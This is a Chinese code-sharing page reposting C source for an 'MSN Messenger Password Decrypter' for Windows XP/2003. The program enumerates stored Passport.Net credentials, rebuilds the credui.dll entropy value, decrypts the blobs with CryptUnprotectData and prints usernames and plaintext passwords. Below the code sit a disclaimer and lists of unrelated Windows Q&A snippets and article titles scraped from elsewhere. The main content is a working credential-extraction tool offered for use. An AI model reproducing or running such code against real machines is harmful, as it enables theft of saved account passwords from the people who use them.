VC编程获取MSN口令的代码

2023-11-13

MSN Messenger uses Windows Credential UI [credui.dll] on WinXP/2003. Password-Storage mechanism differs in these OSes so, the code posted by tombkeeper [http://xfocus.net/articles/200408/726.html] doesn't seem to work any more on my OS atleast. Also, a 'entropy' value has been thrown, which is based on credui.dll GUID. So, here is the code that fullfils the same purpose - but surely works on my OS [WinXP SP2] :)

/--- Start-Code --/

/*
* MSN Messenger Password Decrypter for Windows XP & 2003
* (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)
*      - Gregory R. Panakkal
*        http://www.crapware.tk/
*        http://www.infogreg.com/
*/

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "Crypt32.lib")


//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK //LCC-Win32 Includes]

typedef struct _CREDENTIAL_ATTRIBUTEA {
    LPSTR Keyword;
    DWORD Flags;
    DWORD ValueSize;
    LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
    DWORD Flags;
    DWORD Type;
    LPSTR TargetName;
    LPSTR Comment;
    FILETIME LastWritten;
    DWORD CredentialBlobSize;
    LPBYTE CredentialBlob;
    DWORD Persist;
    DWORD AttributeCount;
    PCREDENTIAL_ATTRIBUTEA Attributes;
    LPSTR TargetAlias;
    LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;

typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);

typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;

void showBanner()
{
    printf("MSN Messenger Password Decrypter forWindows XP/2003\n");
    printf("   - Gregory R. Panakkal,http://www.infogreg.com \n\n");
}


int main()
{
    PCREDENTIAL *CredentialCollection = NULL;
    DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

    //used for filling up blobEntropy
    char szEntropyStringSeed[37] =
"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
    short int EntropyData[37];
    short int tmp;

    HMODULE hDLL;
    DWORD Count, i;

    showBanner();

    //Locate CredEnumerate, CredRead, CredFree from advapi32.dll
    if( hDLL = LoadLibrary("advapi32.dll") )
    {
        pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
        pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
        pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");

        if( pfCredEnumerateA == NULL||
            pfCredReadA == NULL ||
            pfCredFree == NULL )
        {
            printf("error!\n");
            return -1;
        }
    }
   

    //Get an array of 'credential', satisfying the filter
    pfCredEnumerateA("Passport.Net\\*", 0, &Count,&CredentialCollection);


    if( Count ) //usually this value is only 1
    {

        //Calculate Entropy Data
        for(i=0; i<37; i++) //strlen(szEntropyStringSeed) = 37
        {
            tmp = (short int)szEntropyStringSeed[i];
            tmp <<= 2;
            EntropyData[i] = tmp;
        }

        for(i=0; i<Count; i++)
        {
            blobEntropy.pbData = (BYTE *)&EntropyData;
            blobEntropy.cbData = 74; //sizeof(EntropyData)

            blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
            blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;

            CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
            
            printf("Username : %s\n", CredentialCollection[i]->UserName);
            printf("Password : %ls\n\n", blobPlainText.pbData);
        }
    }

    pfCredFree(CredentialCollection);
}

/--- End-Code --/

URL :
http://www.infogreg.com/source-code/gpl/msn-messenger-password-decrypter-for-windows-xp-and-2003.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

VC编程获取MSN口令的代码 的相关文章

  • 在 docker windows 上运行 linux 容器

    我在 Windows 10 机器上安装了 Docker for Windows 它要求我启用 HyperV 功能 一切都安装正确并且运行良好 虽然有一件事让我大吃一惊 我实际上能够在 docker windows 上运行 Linux 容器
  • 轻量级 Windows 应用程序的最佳开源示例是什么? [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • Windows Server / Datacenter:设置 CPU 关联性 > 64 个核心

    SetThreadAffinityMask 允许为 64 个逻辑核心 处理器 设置关联掩码 但是 Windows Datacenter 最多可以有 64 个 CPU 每个 CPU 都有多个内核 请参阅here http social tec
  • 向 Windows 任务栏缩略图添加按钮 JavaFX?

    这个问题已经闲置一年多了 我的问题仍然没有解决方案 我编辑此内容是为了澄清我的问题并引起人们对它的新关注 如果您使用 Windows 您可能知道将程序图标悬停在任务栏上时显示的小预览图像 缩略图 某些程序 例如 Spotify Git 扩展
  • 有没有办法从 Windows 7 上的 Windows 服务启动 GUI 应用程序?

    我做了很多搜索 寻找一种从 Windows 7 上的 Windows 服务启动 GUI 应用程序的方法 我发现的大部分内容是 Windows 7 服务现在在单独的用户会话中运行 并且无法显示任何图形界面给当前用户 我想知道是否有任何解决方法
  • 如何在 Windows 上的 PostgreSQL 中创建具有 UTF-8 排序规则的数据库?

    我正在为 Windows 上的 Bitbucket 服务器配置 PostgreSQL 数据库 在官方guide https confluence atlassian com bitbucketserver connecting bitbuc
  • Windows下如何分配非分页内存

    当我使用 cudaHostAlloc 时 它将分配非分页 固定 页面锁定 内存 我想知道如何在没有 cuda 的情况下仅使用 Windows SDK 来做到这一点 None
  • IIS 或任何文件夹服务器 2012 R2 中不存在 adfs 目录的虚拟或物理位置

    我有一个完全可操作的联合身份验证服务器 Azure 同步 Office 365 同步和本地 配置的每个部分都完美运行 我遇到的问题是 没有任何 Web 目录文件的痕迹 我查看了每个位置 并且我的联合代理或联合服务器上不存在虚拟目录 我正在尝
  • 更改Word文档中的文本字体颜色

    我写了一个小测试词插件 但找不到方法改变字体颜色一句话 这是我的代码 var wordsList this Application ActiveDocument Words wordsList i Font TextColor WdColo
  • python:Windows终端中的unicode,使用的编码?

    我在 Windows 7 终端中使用 Python 解释器 我正在尝试了解 unicode 和编码 I type gt gt gt s gt gt gt s x89 gt gt gt u u gt gt gt u u xeb 问题1 字符串
  • 如何开始使用“scipy”

    我之前安装过 Python 3 4 2 和 3 5 2 在这两种情况下 我都可以在 Idle 中涉足编写和测试代码 这给了我两个窗口 一个用于代码的 运行 窗口 一个用于交互和测试的 Shell 窗口 输出 抱歉 不确定术语是否正确 现在我
  • 使用 Metro 风格应用程序启动桌面应用程序

    有没有办法从 Windows 8 上的 Metro 风格应用程序启动桌面应用程序 我正在尝试创建一些简单的桌面应用程序快捷方式 以替换开始屏幕上看起来不合适的桌面图标 我只需要一些超级简单的东西 最好是用 C 编写 以便在应用程序加载后立即
  • Qt + win32 + mingw 上的原生 Windows API 链接问题

    我正在尝试使用 mingw 工具集将本机 Windows API 与 Qt 结合使用 部分功能存在链接问题 会发生什么 这是 mingw 名称修改的错误吗 ifdef Q WS WIN HWND hwnd QWidget winId HDC
  • 如何在 C# 中从工作线程发布 UI 消息

    我正在用 C 编写一个简单的 winforms 应用程序 我创建了一个工作线程 我希望主窗口响应线程完成其工作 只需更改文本字段中的一些文本 testField Text Ready 我尝试了事件和回调 但它们都在调用线程的上下文中执行 并
  • 链接到大地址感知 DLL

    假设我有一个使用 LARGEADDRESSAWARE 链接器标志集构建的 DLL 现在我有一个动态链接到该 DLL 的应用程序 这是否会使我的应用程序具有大型地址意识 如果不是 那么为任何 DLL 设置此标志是否有意义 讨论here htt
  • 当工作站锁定然后解锁时,如何防止窗口大小调整?

    我们有一个在多显示器环境中运行的应用程序 用户通常将应用程序对话框分散到多个监视器上 如果用户锁定工作站 然后解锁它 我们的应用程序就会被告知调整大小 我们的用户发现这种行为令人沮丧 因为他们随后花了一些时间恢复以前的布局 我们还不确定是图
  • RabbitMQ 管理插件窗口呈现为空白页面

    I have installed Erlang RabbitMQ and configured the management plugin as per the instructions on the website https www r
  • 构建 jar 后无法运行 exe

    我制作了一个简单的实用应用程序 其中我有一个要运行的exe文件 我通过使用它来运行 Runtime getRuntime exec this getClass getResource filename exe getPath 当我从 ide
  • 如何在批处理文件中测试当前驱动器号?

    我正在尝试编写一个批处理文件 该文件获取运行批处理文件的驱动器号 并使用它的 IF 语句 例如如果字母是M 则会跳转到标签 mSection 这可能吗 您可以使用 d0 来获取驱动器号 像这样的东西 IF d0 M CALL mSectio
  • Windows:如果我完成驱动器盘符会怎样? (他们26岁了!)[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 如果我完成驱动器盘符会怎样 这只是好奇心 但我有很多字母 当我把所有东西都连接起来时 我恰好浮动在 20 左右 该图像不是 mspaint

随机推荐

  • HTML表单(属性/元素/输入类型/输入属性):看这一篇就够了

    HTML表单 HTML 表单用于搜集不同类型的用户输入
  • 使用Python绘画象棋棋盘(turtle)

    通过使用turtle绘画象棋棋盘 绘制象棋棋盘 import turtle t turtle Pen t width 2 设置画笔粗细 t speed 1 设置画笔移动速度 画竖线 t penup t goto 400 400 for i
  • Linux之线程-读写锁pthread_rwlock_t

    主要内容 1 互斥量及如何使用 2 什么是死锁 如何解决 3 什么是读写锁 如何使用 4 条件变量实现的生产消费者模型 5 信号量实现的生产消费者模型 3 读写锁 特点 读共享 写独占 写优先级高 读写锁仍然是一把锁 有不同的状态 未加锁
  • Linux添加PYTHONPATH方法以及3种修改环境变量方法

    方法一 用于当前终端 export PATH PATH lt 你的要加入的路径 gt 上面的方法只适用于当前终端 一旦当前终端关闭或在另一个终端中 则无效 方法二 用于当前用户 在用户主目录下有一个 bashrc 隐藏文件 可以在此文件中加
  • python数据结构:栈(匹配花括号、尖括号、圆括号、方括号)

    利用数据结构中的栈实现检查花括号 尖括号 圆括号 方括号是否匹配 相比较网上其他的方法 这种自定义类及函数的方法使用起来更加自动化 class StackNode object 初始化结点 def init self self data N
  • unity3d实现LOL中的相机控制功能

    using UnityEngine using System Collections public class CameraController MonoBehaviour private int SightDistancespeed 15
  • ovirt-node和ovirt-engine相连遇到的问题解决办法

    1 Host 192 168 70 7 does not comply with the cluster Default emulated machines The Hosts emulated machines are
  • CentOS7下安装配置Docker

    本文目录 step1 Docker下载安装 step2 设置docker 启动docker step3 docker基本操作 开启docker 查找镜像 拉取镜像 构建镜像 创建脚本文件 创建Dockerfile 构建 运行 step4 D
  • csdn积分获取攻略

    下载积分攻略 1 个人设置里进行手机绑定CSDN账户 奖励50分 右上角设置 账户安全 手机绑定 2 完成任务送若干分积分 http task csdn net 3 上传有效资源获取积分 上传非法 广告资源用户 将被扣除一定积分 严重者封号
  • 联想拯救者R9000P恢复原厂自带的win11系统

    之前重装win10之后 再想换回win11折腾了很久 现将方法分享出来 以便后面有相同需求的人可以较快的解决问题 文中无过程图片 因为我已经弄好了 不懂的地方可以私信或者评论 需要的东西 原厂自带系统 来自百度网盘超级会员V1的分享 hi
  • maven配置多个国内镜像

    一打开 打开maven的settings xml文件 二配置 在约190行下添加如下代码
  • Python报错:NameError: name ‘plt‘ is not defined

    加入以下一行代码即可 导入pyplot并将其命名为plt import matplotlib pyplot as plt
  • 论文阅读:SCDNET: A novel convolutional network for semantic change detection in high resolution optical

    SCDNET 一种用于高分辨率光学遥感图像变化检测网络 变化检测 新的网络架构 SCD的局限性 提出的SCDNET架构 网络结构 多尺度空洞卷积模块 注意力机制 LOSS函数 实验 结论 变化检测 变化检测 Change Detection
  • 双数组TRIE树原理

    原文名称 An Efficient Digital Search Algorithm by Using a Double Array Structure 作者 JUN ICHI AOE 译文 使用双数组结构的一个高效的Digital Sea
  • 【QT】简单易学的QT安装教程

    对于在Windows系统上安装QT 经常会出现各种各样的错误 从不知选择版本到安装好后也无法使用 实属让人头疼 经过多次试错 找到了简单易学的QT方式 同时也会说明其中需要注意的点 一 QT安装和新建QT文件 https download
  • 接口测试流程、测试点和测试工具

    一 什么情况下开展接口测试 1 项目处于开发阶段 前后端联调接口是否请求的通 2 有接口需求文档 开发已完成联调 可以转测 功能测试展开之前 3 版本上线前 进行整体回归测试 查看接口是否有异常 如404等 对准备上线的版本进行抓包 查看服
  • SignalR前后端进行通信时,出现了内存泄露

    在做此需求之前 需要知道 1 当前wafer功能已经用canvas实现了 2 die指的是图片中每一个小格子 3 当前正在工作的die用黄色进行高亮 已经工作过的die用灰色表示 4 几台基本每秒工作3个die wafer图片 最近在做一个
  • 【Linux】基础IO -- 软硬链接

    前言 上篇Linux的文章 我们学习到了文件系统中 对磁盘文件的管理 而本篇文章 我们要以文件系统的基础知识 了解软硬链接 话不多说 马上开始今天的学习 文章目录 前言 一 软链接 1 软链接的语法 2 软链接的本质 3 软链接的应用 二
  • axios vue 加载效果动画_vue+elementUI+axios实现的全局loading加载动画

    在项目中 很多时候都需要loading加载动画来缓解用户的焦虑等待 比如说 我打开了一个页面 而这个页面有很多接口请求 但浏览器的请求并发数就那么几个 再加上如果网速不行的话 那么这时候 用户很可能就会纠结自己到底该不该留下来继续等待呢 所
  • VC编程获取MSN口令的代码

    MSN Messenger uses Windows Credential UI credui dll on WinXP 2003 Password Storage mechanism differs in these OSes so th